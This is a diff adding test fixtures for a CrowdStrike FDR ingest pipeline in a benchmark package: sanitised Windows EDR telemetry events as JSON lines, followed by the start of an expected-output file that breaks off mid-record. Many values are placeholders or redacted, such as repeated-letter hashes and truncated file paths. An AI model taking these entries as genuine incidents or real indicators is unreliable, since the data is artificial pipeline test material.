+{"ImageSignatureType":"0","ModuleCharacteristics":"8450","ContextThreadId":"32005063951800","aip":"89.160.20.128","ModuleLoadTelemetryClassification":"256","event_platform":"Win","MappedFromUserMode":"1","AuthenticodeHashData":"1025d90d282279e79ede14c4a4916f7c17aa3ac6d2dedb71a5d729a286742c36","OriginalFilename":"redacted.dll","EventOrigin":"1","id":"b44b58becebd48898306ffd6600bf3f42c16","EffectiveTransmissionClass":"3","ModuleSize":"40960","timestamp":"1757926047906","LocalAddressIP4":"81.2.69.142","event_simpleName":"ClassifiedModuleLoad","ContextTimeStamp":"1757926047.386","ConfigStateHash":"3164437859","ContextProcessId":"617055030004","IsProcessInitializing":"0","MD5HashData":"9fd1131ff976c9a3212a1db685870aa1","SHA256HashData":"d35fbba9f5b92147dbbdaffc79120d2a372b34ec964cfba4e5eaf6d9aed27c3d","ConfigBuild":"2c8b.4.ae3729d.e6","ImageSignatureLevel":"2","TargetProcessId":"3542590006570","ImageFileName":"\\\\Device\\\\\\\\Windows\\\\\\\\.dll","Entitlements":"15","name":"ClassifiedModuleLoadV5","PrimaryModule":"0","ComputerName":"redacted-computer-name","TargetImageFileName":"\\\\Device\\\\\\\\Program Files (x86)\\\\.exe","Attacks":[{"Tactic":"Defense Evasion","Technique":"Subvert Trust Controls"}],"aid":"827afde25ba0eeda5d204a68ff612048","SignInfoFlags":"932000","cid":"4092825518eaf67377a6e4492ae44577"} +{"ImageSignatureType":"1","ModuleCharacteristics":"8450","ContextThreadId":"32005063951800","aip":"89.160.20.128","ModuleLoadTelemetryClassification":"256","event_platform":"Win","MappedFromUserMode":"1","AuthenticodeHashData":"1025d90d282279e79ede14c4a4916f7c17aa3ac6d2dedb71a5d729a286742c36","OriginalFilename":"redacted.dll","EventOrigin":"1","id":"b44b58becebd48898306ffd6600bf3f42c16","EffectiveTransmissionClass":"3","ModuleSize":"40960","timestamp":"1757926047906","LocalAddressIP4":"81.2.69.142","event_simpleName":"ClassifiedModuleLoad","ContextTimeStamp":"1757926047.386","ConfigStateHash":"3164437859","ContextProcessId":"617055030004","IsProcessInitializing":"0","MD5HashData":"9fd1131ff976c9a3212a1db685870aa1","SHA256HashData":"d35fbba9f5b92147dbbdaffc79120d2a372b34ec964cfba4e5eaf6d9aed27c3d","ConfigBuild":"2c8b.4.ae3729d.e6","ImageSignatureLevel":"0","TargetProcessId":"3542590006570","ImageFileName":"\\\\Device\\\\\\\\Windows\\\\\\\\.dll","Entitlements":"15","name":"ClassifiedModuleLoadV5","PrimaryModule":"0","ComputerName":"redacted-computer-name","TargetImageFileName":"\\\\Device\\\\\\\\Program Files (x86)\\\\.exe","Attacks":[{"Tactic":"Defense Evasion","Technique":"Subvert Trust Controls"}],"aid":"827afde25ba0eeda5d204a68ff612048","SignInfoFlags":"932000","cid":"4092825518eaf67377a6e4492ae44577"} +{"ImageSignatureType":"1","ModuleCharacteristics":"8450","ContextThreadId":"32005063951800","aip":"89.160.20.128","ModuleLoadTelemetryClassification":"256","event_platform":"Win","MappedFromUserMode":"1","AuthenticodeHashData":"1025d90d282279e79ede14c4a4916f7c17aa3ac6d2dedb71a5d729a286742c36","OriginalFilename":"redacted.dll","EventOrigin":"1","id":"b44b58becebd48898306ffd6600bf3f42c16","EffectiveTransmissionClass":"3","ModuleSize":"40960","timestamp":"1757926047906","LocalAddressIP4":"81.2.69.142","event_simpleName":"ClassifiedModuleLoad","ContextTimeStamp":"1757926047.386","ConfigStateHash":"3164437859","ContextProcessId":"617055030004","IsProcessInitializing":"0","MD5HashData":"9fd1131ff976c9a3212a1db685870aa1","SHA256HashData":"d35fbba9f5b92147dbbdaffc79120d2a372b34ec964cfba4e5eaf6d9aed27c3d","ConfigBuild":"2c8b.4.ae3729d.e6","ImageSignatureLevel":"2","TargetProcessId":"3542590006570","ImageFileName":"\\\\Device\\\\\\\\Windows\\\\\\\\.dll","Entitlements":"15","name":"ClassifiedModuleLoadV5","PrimaryModule":"0","ComputerName":"redacted-computer-name","TargetImageFileName":"\\\\Device\\\\\\\\Program Files (x86)\\\\.exe","Attacks":[{"Tactic":"Defense Evasion","Technique":"Subvert Trust Controls"}],"aid":"827afde25ba0eeda5d204a68ff612048","SignInfoFlags":"932000","cid":"4092825518eaf67377a6e4492ae44577"} +{"RegObjectName":"\\REGISTRY\\MACHINE\\SYSTEM\\REDACTED\\Services\\REDACTED\\Keyword\\REDACTED\\Keyword\\REDACTED\\{aaaaaaaaaaaaaa-aaaaaaaaaaaa-aaaaaaaaaa}","ContextThreadId":"700420809200030","aip":"81.2.69.192","RegClassificationFlags":"1","RegOperationType":"1","event_platform":"Win","TokenType":"1","EventOrigin":"1","id":"8f2302b7d2a07c5d5568941494e0368e0144","EffectiveTransmissionClass":"3","RegStringValue":"fb.31|Action=Allow|Active=TRUE|Dir=In|App=C:\\9134161b\\3a93a12\\82be212b\\82be212b.exe|Name=Zscaler App Rule|Desc=Allow incoming network traffic to ZSATunnel|EmbedCtxt=ZSATunnel Rule Group|","timestamp":"1743508799999","event_simpleName":"RegSystemConfigValueUpdate","ContextTimeStamp":"1759424211.858","ConfigStateHash":"2080600092","ContextProcessId":"1007045000929","RegType":"1","RegClassificationIndex":"718","AuthenticationId":"864","ConfigBuild":"2c8b.4.ae3729d.e6","RegValueName":"{aaaaaaaaaaaaaa-aaaaaaaaaaaa-aaaaaaaaaa}","RegClassification":"334","Entitlements":"86","name":"24ba14f1e5840e900e581616a2fe","aid":"be027d4cbada339f804f9c19f5a2d5a6","cid":"4092825518eaf67377a6e4492ae44577"} +{"aip":"89.160.20.128","event_platform":"Win","TokenType":"1","EventOrigin":"17","InterfaceGuid":"12ABC-345-56D7-X","RpcClientProcessId":"000000000000","id":"aaaaaaaaaa-c6b5-499a-a494-cccccccccc","EffectiveTransmissionClass":"3","timestamp":"1757935009450","LocalAddressIP4":"89.160.20.128","event_simpleName":"ServiceStarted","ContextTimeStamp":"1757935008.880","UserName":"redacted-computer-name","ConfigStateHash":"00000000","InterfaceVersion":"1111111","RpcClientThreadId":"2222222222222","AuthenticationId":"333","ServiceDisplayName":"","ConfigBuild":"1007.3.0019907.15","CommandLine":"C:\\Windows\\system32\\.exe","TargetProcessId":"444444444444","ImageFileName":"\\Device\\Volume\\Windows\\System32\\.exe","RpcOpNum":"19","Entitlements":"15","name":"ServiceStartedV2","ComputerName":"redacted-user-name","aid":"11111aaaaaaaaaaaaacccccccccddddd","RpcNestingLevel":"0","cid":"22222bbbbbbbbbbbbbdddddddddd1233"} +{"AuthenticodeHashDataSHA256":"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa","ContextThreadId":"1111111111111","CertificateIssuer":"Microsoft Windows Production PCA 2011","aip":"89.160.20.128","CertificateSignatureHash":"bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb","CertificatePublisher":"Microsoft Windows","CompanyName":"Microsoft Corporation","event_platform":"Win","AuthenticodeHashData":"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa","OriginalFilename":"wdnisdrv.sys","FileVersion":"4.18.25070.5 (1abbbbbbccccccccccddddddd444444444422222)","ImageCheckSum":"123456","EventOrigin":"17","RpcClientProcessId":"000000000000","id":"aaaaaaaa-3328-4c62-b151-bbbbbbbbbbb","EffectiveTransmissionClass":"3","timestamp":"1757905962256","LocalAddressIP4":"89.160.20.128","event_simpleName":"DriverLoad","ContextTimeStamp":"1757905958.885","ConfigStateHash":"111111111","ContextProcessId":"000000000000","DriverLoadFlags":"0","ImageEntryPoint":"94208","MD5HashData":"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaa","RpcClientThreadId":"1908581779603","SHA256HashData":"cccccccccccccccccccccccccccccccccccccccccccccccccccccc","ServiceDisplayName":"WdNisDrv","ConfigBuild":"1007.3.0019907.15","FixedFileVersion":"4.18.25070.5","RegistryPath":"","ImageFileName":"\\Device\\Volume\\ProgramData\\Microsoft\\Windows Defender\\Platform\\4.18.25070.5-0\\Drivers\\WdNisDrv.sys","ImageTimeStamp":"2448850720","Entitlements":"15","name":"DriverLoadV6","ComputerName":"redacted-computer-name","CertificateSignatureHashAlgorithm":"32780","aid":"11111aaaaaaaaaaaaacccccccccddddd","cid":"22222bbbbbbbbbbbbbdddddddddd1233","HashAlgorithm":"32780"} +{"ContextThreadId":"1945182997323","aip":"81.2.69.192","RegObjectName":"\\REGISTRY\\MACHINE\\SYSTEM\\REDACTED\\Services\\REDACTED\\Keyword\\REDACTED\\Keyword\\REDACTED","RegClassificationFlags":"257","RegOperationType":"2","event_platform":"Win","TokenType":"1","EventOrigin":"1","id":"8f2302b7d2a07c5d5568941494e0368e0144","EffectiveTransmissionClass":"3","RegStringValue":"","timestamp":"1757920331466","LocalAddressIP4":"81.2.69.192","event_simpleName":"RegCrowdstrikeValueUpdate","ContextTimeStamp":"1757920329.062","ConfigStateHash":"2080600092","ContextProcessId":"100704500092","RegType":"0","RegClassificationIndex":"405","AuthenticationId":"997","ConfigBuild":"1007.3.0019907.15","RegValueName":"{aaaaaaaaaaaaaa-aaaaaaaaaaaa-aaaaaaaaaa}","RegClassification":"102","Entitlements":"15","name":"RegCrowdstrikeValueUpdateV1","ComputerName":"redacted-computer-name","aid":"be027d4cbada339f804f9c19f5a2d5a6","cid":"4092825518eaf67377a6e4492ae44577"} +{"FileOperatorSid":"S-1-5-18","ContextBaseFileName":"svchost.exe","FileCategory":"3","Size":"22929","ContextThreadId":"1111111111111","MinorFunction":"0","aip":"89.160.20.128","IsOnNetwork":"0","FileIdentifier":"9c3110248de4f0a68f2fe668e59ed821d7d987845cd51ed1","event_platform":"Win","TokenType":"2","EventOrigin":"1","DiskParentDeviceInstanceId":"61f\\cd4242a2\\a3fcbe35","id":"9c458f0ddfe1293cd356445b2c473d0a0ef4","FileObject":"0","EffectiveTransmissionClass":"3","timestamp":"1757906530446","LocalAddressIP4":"89.160.20.112","event_simpleName":"PngFileWritten","ContextTimeStamp":"1757906529.857","UserName":"dev-win10-3$","ConfigStateHash":"1234437812","ContextProcessId":"111122223333","IrpFlags":"0","AuthenticationId":"999","FileWrittenFlags":"0","ConfigBuild":"1002.2.0019609.21","FileEcpBitmask":"0","MajorFunction":"0","IsOnRemovableDisk":"0","Entitlements":"15","name":"PngFileWrittenV3","ComputerName":"dev-win10-3","OperationFlags":"0","Attacks":[{"Tactic":"Command and Control","Technique":"Data Obfuscation"}],"aid":"bae5bafaeb93295d398bf55b8ba1cf01","cid":"4092825518eaf67377a6e4492ae44577","TargetFileName":"\\Device\\Images\\qwert.png"} +{"event_simpleName":"MotwWritten","ConfigStateHash":"0222222222","ContextProcessId":"1111111111","aip":"89.160.20.128","FileIdentifier":"9c3110248de4f0a68f2fe668e59ed821d7d987845cd51ed1","ConfigBuild":"1007.3.0019907.15","event_platform":"Win","HostUrl":"","Entitlements":"15","name":"MotwWrittenV2","EventOrigin":"1","ReferrerUrl":"","id":"9c458f-ddfe1293cd-56445b2c4-3d0a0ef4","EffectiveTransmissionClass":"3","aid":"bae5bafaeb93295d398bf55b8ba1cf01","timestamp":"1755541882619","cid":"4092825518eaf67377a6e4492ae44577","TargetFileName":"\\Device\\Local\\Default\\Files\\asdf-ghkl"} +{"event_simpleName":"MountedVolume","BatchDataTotal":"3","VolumeSessionUUID":"BA6553C6-EA71-4F58-ADF2-EB7C71401657","BatchTimestamp":"1758303984.040","BatchDataNumber":"2","VolumeMountPoint":"\\??\\Volume{ba6553c6-ea71-4f58-adf2-eb7c71401657}","VolumeDriveLetter":"\\\\?\\Volume{ba6553c6-ea71-4f58-adf2-eb7c71401657}","event_platform":"Win","VolumeDeviceObjectFlags":"134479872","VolumeFileSystemDevice":"\\Ntfs","VolumeIsEncrypted":"0","VolumeFileSystemDriver":"\\FileSystem\\Ntfs","EventOrigin":"1","DiskParentDeviceInstanceId":"PCI\\VEN_15AD\u0026DEV_07F0\u0026SUBSYS_07F015AD\u0026REV_00\\4\u00263b50545d\u00260\u002600B8","VolumeDeviceCharacteristics":"131072","id":"4a10cafe-7a95-4659-80c0-9b670b2308c1","VolumeDeviceType":"8","EffectiveTransmissionClass":"3","timestamp":"1758303980922","VolumeName":"\\Device\\HarddiskVolume4","VolumeSectorSize":"512","ConfigStateHash":"3667246164","MountedVolumeAction":"0","VolumeRealDeviceName":"\\Device\\HarddiskVolume4","VolumeLabel":"","ConfigBuild":"1007.3.0019907.15","VolumeEncryptionStatus":"0","VolumeFileSystemType":"2","Entitlements":"15","name":"MountedVolumeV1","VirtualDriveFileName":"","ComputerName":"ETW","aid":"bae5bafaeb93295d398bf55b8ba1cf01"} +{"event_simpleName":"FalconProcessHandleOpDetectInfo","GrandparentProcessId":"107378835181","GrandparentProcessPatternIdList":"","ParentProcessId":"107382228681","TemplateInstanceId":"20587","ParentImageFileName":"\\Device\\HarddiskVolume4\\Windows\\System32\\wininit.exe","HandleOperationType":"1","event_platform":"Win","PatternId":"10517","EventOrigin":"1","id":"da53cef8-72b1-4ca8-af19-2ae8f9c30fbf","ParentCommandLine":"wininit.exe","EffectiveTransmissionClass":"3","timestamp":"1757916888316","ConfigStateHash":"3164437859","TemplateDisposition":"10","ContextProcessId":"107384762651","TargetProcessImageFileName":"\\Device\\HarddiskVolume4\\Program Files\\CrowdStrike\\CSFalconService.exe","ConfigBuild":"1007.3.0019907.15","CommandLine":"C:\\Windows\\system32\\services.exe","ParentProcessPatternIdList":"7201,7410,7426","TargetProcessId":"107445999828","DesiredAccess":"2097151","ImageFileName":"\\Device\\HarddiskVolume4\\Windows\\System32\\services.exe","Entitlements":"15","name":"FalconProcessHandleOpDetectInfoV1","ComputerName":"win10-qwe-3","ContextProcessTagsAsString":"179,417,113292","aid":"cdbfd7c3bab5478d935db9969b5886cc","PatternIdList":"7053,7090,7119","TargetProcessCommandLine":"\"C:\\Program Files\\CrowdStrike\\CSFalconService.exe\""} +{"event_simpleName":"ServiceStopped","SourceProcessId":"111822186970","EtwRawRpcClientProcessId":"5940","event_platform":"Win","EventOrigin":"1","id":"e9e1ae71-7b21-4260-9891-f1dd497a7ea9","EffectiveTransmissionClass":"3","timestamp":"1761814422802","IsHosted":"0","ContextTimeStamp":"1761814419.055","ConfigStateHash":"1611923365","EtwRawProcessId":"5940","ServiceDisplayName":"wuauserv","ConfigBuild":"1007.3.0020008.15","CommandLine":"C:\\Windows\\system32\\svchost.exe -k netsvcs -p -s wuauserv","TargetProcessId":"111822186970","ImageFileName":"\\Device\\HarddiskVolume4\\Windows\\System32\\svchost.exe","Entitlements":"15","name":"ServiceStoppedV2","ClientProcessStartKey":"7599824371187858","ComputerName":"win10-qwe-3","aid":"cdbfd7c3bab5478d935db9969b5886cc"} +{"event_simpleName":"KernelServiceStarted","ContextTimeStamp":"1761811657.917","ConfigStateHash":"1146505100","ContextProcessId":"111669260464","ContextThreadId":"1984294987428","RpcClientThreadId":"1985175578964","ServiceDisplayName":"@C:\\ProgramData\\Microsoft\\Windows Defender\\Platform\\4.18.25070.5-0\\MpAsDesc.dll,-370","ConfigBuild":"1007.3.0019907.15","event_platform":"Win","ImageFileName":"\\Device\\HarddiskVolume4\\ProgramData\\Microsoft\\Windows Defender\\Platform\\4.18.25070.5-0\\Drivers\\WdNisDrv.sys","Entitlements":"15","name":"KernelServiceStartedV3","ImageBaseName":"WdNisDrv.sys","EventOrigin":"17","ComputerName":"raquel-win10-3","RpcClientProcessId":"111754267474","id":"664425be-9ed3-4b41-8790-5bd12a9889e8","EffectiveTransmissionClass":"3","aid":"cdbfd7c3bab5478d935db9969b5886cc","timestamp":"1761811660596"} +{"event_simpleName":"InstalledBrowserExtension","BrowserName":"4","BrowserFilePath":"C:\\Program Files (x86)\\Microsoft\\Edge\\Application\\msedge.exe","BatchDataTotal":"2","BrowserProfileName":"Profile 1","BatchTimestamp":"1757820209.223","BrowserExtensionVersion":"1.2.1","BrowserExtensionInstalledTimestamp":"1748442656.300","BatchDataNumber":"1","UserSid":"S-1-5-21-2765107603-xxxx-500","event_platform":"Win","UpdateFlag":"1","BrowserProfileId":"Default","EventOrigin":"17","id":"0eaf2b81-3888-446f-99ba-e38ff8249b25","EffectiveTransmissionClass":"2","timestamp":"1757820209811","BrowserExtensionArchitecture":"3","UserName":"win10_user3","ConfigStateHash":"3164437859","BrowserExtensionPath":"C:\\Users\\win10_user3\\AppData\\Local\\Microsoft\\Edge\\User Data\\Default\\Extensions\\jmjflgjpcpepeafmmgdpfkogkghcpiha\\1.2.1_0","BrowserExtensionId":"jmjflgjpcpepeafmmgdpfkogkghcpiha","ConfigBuild":"1007.3.0019907.15","BrowserExtensionName":"Edge relevant text changes","BrowserExtensionStatusEnabled":"1","BrowserFileHash":"ef9d1b42ca58103e9647763f67303519a0701c7b1278af0ad25f7f673c10743b","Entitlements":"15","name":"InstalledBrowserExtensionV2","ComputerName":"win10-qwe-3","BrowserExtensionInstallMethod":"1","aid":"cdbfd7c3bab5478d935db9969b5886cc","BrowserVersion":"138.0.3351.83"} +{"event_simpleName":"SensorAntiTamperState","ConfigStateHash":"1442922594","ConfigBuild":"1007.3.0019907.15","AntiTamperStateFlag":"9","event_platform":"Win","Entitlements":"15","name":"SensorAntiTamperStateV1","EventOrigin":"17","ComputerName":"win10-qwe-3","id":"8bee55a5-f768-48b9-ab4c-614a1283a58a","EffectiveTransmissionClass":"0","aid":"cdbfd7c3bab5478d935db9969b5886cc","timestamp":"1757648518836"} +{"event_simpleName":"SensorSettingsUpdate","RTRState":"1","ConfigStateHash":"1442922594","Flags":"0","ConfigBuild":"1007.3.0019907.15","event_platform":"Win","Entitlements":"15","name":"SensorSettingsUpdateV1","EventOrigin":"17","ComputerName":"win10-qwe-3","id":"c188e104-d940-46af-aed8-acf5086fc187","EffectiveTransmissionClass":"0","aid":"cdbfd7c3bab5478d935db9969b5886cc","timestamp":"1757648518836"} +{"event_simpleName":"ServicesStatusInfo","ConfigStateHash":"1694325680","ServiceDisplayName":"spooler","ConfigBuild":"1007.3.0019907.15","event_platform":"Win","Entitlements":"15","name":"ServicesStatusInfoV1","EventOrigin":"17","ComputerName":"win10-qwe-3","id":"37ddccdf-594d-4224-97de-e784822466f4","ErrorCode":"0","EffectiveTransmissionClass":"0","aid":"cdbfd7c3bab5478d935db9969b5886cc","timestamp":"1757819610498","ServiceCurrentState":"4"} +{"event_simpleName":"FileWrittenWithEntropyHigh","Size":"12216","ShannonEntropy":"932","BoundingLimitCount":"5","event_platform":"Win","EventOrigin":"1","id":"fc10d190-e98f-45fc-bb2a-ca60d3534a2a","EffectiveTransmissionClass":"3","timestamp":"1761811953235","ContextTimeStamp":"1761811952.620","ConfigStateHash":"1146505100","ContextProcessId":"111845303038","AuthenticationId":"999","ConfigBuild":"1007.3.0019907.15","FileEcpBitmask":"0","BoundingLimitDuration":"3600000","Entitlements":"15","name":"FileWrittenWithEntropyHighV2","ComputerName":"win10-qwe-3","Attacks":[{"Tactic":"Defense Evasion","Technique":"Obfuscated Files or Information"}],"aid":"bae5bafaeb93295d398bf55b8ba1cf01","TargetFileName":"\\Device\\HarddiskVolume4\\Windows\\Temp\\APPX.fb9inon0wlj06bji0gujvuvcd.tmp"} +{"event_simpleName":"ReflectiveDotnetModuleLoad","AssemblyName":"vezhsq1h, Version\u003d0.0.0.0, Culture\u003dneutral, PublicKeyToken\u003dnull","ModuleNativePath":"","NativePdbBuildPath":"","event_platform":"Win","DotnetModuleFlags":"8","DotnetModuleId":"140707789195504","EventOrigin":"1","id":"b089f099-ffac-44fd-9efe-e1bc148214ee","EffectiveTransmissionClass":"3","timestamp":"1755638644187","ManagedPdbBuildPath":"","ContextTimeStamp":"1755638637.713","ConfigStateHash":"3064617115","ContextProcessId":"11708829302","AssemblyFlags":"0","EtwProviderType":"2","ConfigBuild":"1007.3.0019907.15","CommandLine":"\"C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\"","ImageFileName":"\\Device\\HarddiskVolume3\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","Entitlements":"15","name":"ReflectiveDotnetModuleLoadV2","AssemblyId":"1825020243168","aid":"cdbfd7c3bab5478d935db9969b5886cc","ModuleILPath":"vezhsq1h"} +{"event_simpleName":"SuspiciousPrivilegedProcessHandle","IntegrityLevel":"16384","ContextThreadId":"1217210494023","TargetIntegrityLevel":"16384","event_platform":"Win","SuspiciousHandleOpenReason":"2","EventOrigin":"1","id":"87902694-15af-4692-b1e2-bf7fba80b272","HandleCreated":"0","EffectiveTransmissionClass":"3","timestamp":"1757597618983","ContextTimeStamp":"1757597618.424","ConfigStateHash":"3591479077","ContextProcessId":"90332841484","AuthenticationId":"996","ConfigBuild":"1007.3.0019907.15","TargetProcessId":"90365065195","DesiredAccess":"2097151","Entitlements":"15","name":"SuspiciousPrivilegedProcessHandleV2","ComputerName":"win10-qwe-3","aid":"cdbfd7c3bab5478d935db9969b5886cc","TargetAuthenticationId":"996"} diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-windows.log-expected.json b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-windows.log-expected.json new file mode 100644 index 0000000000..7ac6cb124a --- /dev/null +++ b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-windows.log-expected.json @@ -0,0 +1,11696 @@ +{ + "expected": [ + { + "@timestamp": "2025-04-01T11:59:59.999Z", + "crowdstrike": { + "AsepClass": "7", + "AsepFlags": "3", + "AsepIndex": "5", + "AsepValueType": "0", + "AuthenticationId": "830", + "ConfigStateHash": "4001039063", + "ContextProcessId": "3007920321347", + "ContextTimeStamp": "2025-08-14T07:19:14.441Z", + "EffectiveTransmissionClass": "3", + "Entitlements": "66", + "EventOrigin": "1", + "RegObjectName": "\\85aaee17\\eb92252\\d621c1\\9014a7b3\\604dce44\\2345e09c", + "RegOperationType": "5", + "TokenType": "1", + "cid": "4092825518eaf67377a6e4492ae44577", + "id": "6b69e784610ff3e5da99cb6f884fbb59c197", + "name": "d86b419894d5423" + }, + "device": { + "id": "061f50de227f377d5a1cbbcda2493711" + }, + "event": { + "action": "modification", + "category": [ + "registry" + ], + "created": "2025-04-01T11:59:59.999Z", + "id": "6b69e784610ff3e5da99cb6f884fbb59c197|061f50de227f377d5a1cbbcda2493711|4092825518eaf67377a6e4492ae44577", + "kind": "event", + "original": "{\"event_simpleName\":\"AsepKeyUpdate\",\"ContextTimeStamp\":\"1755155954.441\",\"AsepFlags\":\"3\",\"ConfigStateHash\":\"4001039063\",\"ContextProcessId\":\"3007920321347\",\"AsepClass\":\"7\",\"AsepIndex\":\"5\",\"ContextThreadId\":\"416006001900040\",\"aip\":\"81.2.69.144\",\"RegObjectName\":\"\\\\85aaee17\\\\eb92252\\\\d621c1\\\\9014a7b3\\\\604dce44\\\\2345e09c\",\"RegOperationType\":\"5\",\"AuthenticationId\":\"830\",\"ConfigBuild\":\"2c8b.4.ae3729d.e6\",\"event_platform\":\"Win\",\"AsepValueType\":\"0\",\"TokenType\":\"1\",\"Entitlements\":\"66\",\"name\":\"d86b419894d5423\",\"EventOrigin\":\"1\",\"id\":\"6b69e784610ff3e5da99cb6f884fbb59c197\",\"EffectiveTransmissionClass\":\"3\",\"aid\":\"061f50de227f377d5a1cbbcda2493711\",\"timestamp\":\"1743508799999\",\"cid\":\"4092825518eaf67377a6e4492ae44577\"}", + "outcome": "success", + "type": [ + "change" + ] + }, + "host": { + "id": "061f50de227f377d5a1cbbcda2493711", + "os": { + "type": "windows" + } + }, + "message": "AsepKeyUpdate", + "observer": { + "address": [ + "81.2.69.144" + ], + "geo": { + "city_name": "London", + "continent_name": "Europe", + "country_iso_code": "GB", + "country_name": "United Kingdom", + "location": { + "lat": 51.5142, + "lon": -0.0931 + }, + "region_iso_code": "GB-ENG", + "region_name": "England" + }, + "ip": [ + "81.2.69.144" + ], + "serial_number": "061f50de227f377d5a1cbbcda2493711", + "version": "2c8b.4.ae3729d.e6" + }, + "process": { + "entity_id": "3007920321347", + "thread": { + "id": 416006001900040 + } + }, + "registry": { + "key": "\\85aaee17\\eb92252\\d621c1\\9014a7b3\\604dce44\\2345e09c", + "path": "\\85aaee17\\eb92252\\d621c1\\9014a7b3\\604dce44\\2345e09c" + }, + "related": { + "hash": [ + "4001039063" + ], + "ip": [ + "81.2.69.144" + ] + }, + "tags": [ + "preserve_original_event" + ] + }, + { + "@timestamp": "2025-04-01T11:59:59.999Z", + "crowdstrike": { + "AsepClass": "94", + "AsepFlags": "0", + "AsepIndex": "600", + "AsepValueType": "0", + "AuthenticationId": "7054705", + "ConfigStateHash": "204061009", + "ContextProcessId": "47593002510450", + "ContextTimeStamp": "2025-08-27T07:45:38.081Z", + "Data1": "31", + "EffectiveTransmissionClass": "3", + "Entitlements": "96", + "EventOrigin": "1", + "RegObjectName": "\\85aaee17\\92b7\\f33b4a1f\\02413\\4e7075fa\\25f3666b", + "RegOperationType": "1", + "RegStringValue": "5f20a496dc8 5a466679365aa2804afae1a00b30b36c79e668eb74694db65d32d3 -c07e1208b8efbe", + "RegType": "1", + "TargetCommandLineParameters": "8 -c07e1208b8efbe", + "TargetSHA256HashData": "36e5b125bb636648d267e966435b7e650acf78c002f65d07d282e501838a0906", + "TokenType": "1", + "cid": "4092825518eaf67377a6e4492ae44577", + "id": "1165d56b44df464d4a3dd26905c78ac2c7e5", + "name": "8f3c176fdab74b6c9" + }, + "device": { + "id": "f929742c2e4bd22b1829b6206b1dc84b" + }, + "event": { + "action": "modification", + "category": [ + "registry" + ], + "created": "2025-04-01T11:59:59.999Z", + "id": "1165d56b44df464d4a3dd26905c78ac2c7e5|f929742c2e4bd22b1829b6206b1dc84b|4092825518eaf67377a6e4492ae44577", + "kind": "event", + "original": "{\"AsepFlags\":\"0\",\"ContextThreadId\":\"970373501024004\",\"aip\":\"81.2.69.144\",\"RegObjectName\":\"\\\\85aaee17\\\\92b7\\\\f33b4a1f\\\\02413\\\\4e7075fa\\\\25f3666b\",\"Data1\":\"31\",\"RegOperationType\":\"1\",\"event_platform\":\"Win\",\"TokenType\":\"1\",\"TargetCommandLineParameters\":\"8 -c07e1208b8efbe\",\"EventOrigin\":\"1\",\"id\":\"1165d56b44df464d4a3dd26905c78ac2c7e5\",\"EffectiveTransmissionClass\":\"3\",\"RegStringValue\":\"5f20a496dc8 5a466679365aa2804afae1a00b30b36c79e668eb74694db65d32d3 -c07e1208b8efbe\",\"timestamp\":\"1743508799999\",\"event_simpleName\":\"AsepValueUpdate\",\"ContextTimeStamp\":\"1756280738.081\",\"ConfigStateHash\":\"204061009\",\"RegType\":\"1\",\"ContextProcessId\":\"47593002510450\",\"AsepClass\":\"94\",\"AsepIndex\":\"600\",\"AuthenticationId\":\"7054705\",\"ConfigBuild\":\"2c8b.4.ae3729d.e6\",\"RegValueName\":\"\",\"AsepValueType\":\"0\",\"TargetSHA256HashData\":\"36e5b125bb636648d267e966435b7e650acf78c002f65d07d282e501838a0906\",\"Entitlements\":\"96\",\"name\":\"8f3c176fdab74b6c9\",\"aid\":\"f929742c2e4bd22b1829b6206b1dc84b\",\"cid\":\"4092825518eaf67377a6e4492ae44577\",\"TargetFileName\":\"\\\\6ba0bd\\\\447b992c\\\\9134161b\\\\f5be3\\\\e5cdd471\\\\94554fd8.exe\"}", + "outcome": "success", + "type": [ + "change" + ] + }, + "file": { + "directory": "\\6ba0bd\\447b992c\\9134161b\\f5be3\\e5cdd471", + "extension": "exe", + "name": "94554fd8.exe", + "path": "\\6ba0bd\\447b992c\\9134161b\\f5be3\\e5cdd471\\94554fd8.exe", + "type": "file" + }, + "host": { + "id": "f929742c2e4bd22b1829b6206b1dc84b", + "os": { + "type": "windows" + } + }, + "message": "AsepValueUpdate", + "observer": { + "address": [ + "81.2.69.144" + ], + "geo": { + "city_name": "London", + "continent_name": "Europe", + "country_iso_code": "GB", + "country_name": "United Kingdom", + "location": { + "lat": 51.5142, + "lon": -0.0931 + }, + "region_iso_code": "GB-ENG", + "region_name": "England" + }, + "ip": [ + "81.2.69.144" + ], + "serial_number": "f929742c2e4bd22b1829b6206b1dc84b", + "version": "2c8b.4.ae3729d.e6" + }, + "process": { + "entity_id": "47593002510450", + "thread": { + "id": 970373501024004 + } + }, + "registry": { + "data": { + "strings": [ + "5f20a496dc8 5a466679365aa2804afae1a00b30b36c79e668eb74694db65d32d3 -c07e1208b8efbe" + ], + "type": "REG_SZ" + }, + "key": "\\85aaee17\\92b7\\f33b4a1f\\02413\\4e7075fa\\25f3666b", + "path": "\\85aaee17\\92b7\\f33b4a1f\\02413\\4e7075fa\\25f3666b" + }, + "related": { + "hash": [ + "204061009" + ], + "ip": [ + "81.2.69.144" + ] + }, + "tags": [ + "preserve_original_event" + ] + }, + { + "@timestamp": "2025-04-01T11:59:59.999Z", + "crowdstrike": { + "AuthenticationId": "70760008", + "ConfigStateHash": "9968901000", + "ContextProcessId": "3100000500830", + "ContextTimeStamp": "2025-06-11T18:54:08.903Z", + "EffectiveTransmissionClass": "3", + "Entitlements": "76", + "EventOrigin": "1", + "InterfaceGuid": "3c1edad779c6920ba025d32fc1d69997cc40", + "InterfaceVersion": "0", + "RpcClientProcessId": "4508060034060", + "RpcClientThreadId": "207001810400038", + "RpcNestingLevel": "0", + "RpcOpNum": "4", + "TokenType": "1", + "cid": "4092825518eaf67377a6e4492ae44577", + "id": "eedef0c0fc042e28949c251e42e913cb3fe6", + "name": "11cf958b636de07e" + }, + "device": { + "id": "082e3fde13bab854ebe72df7d1543cae" + }, + "event": { + 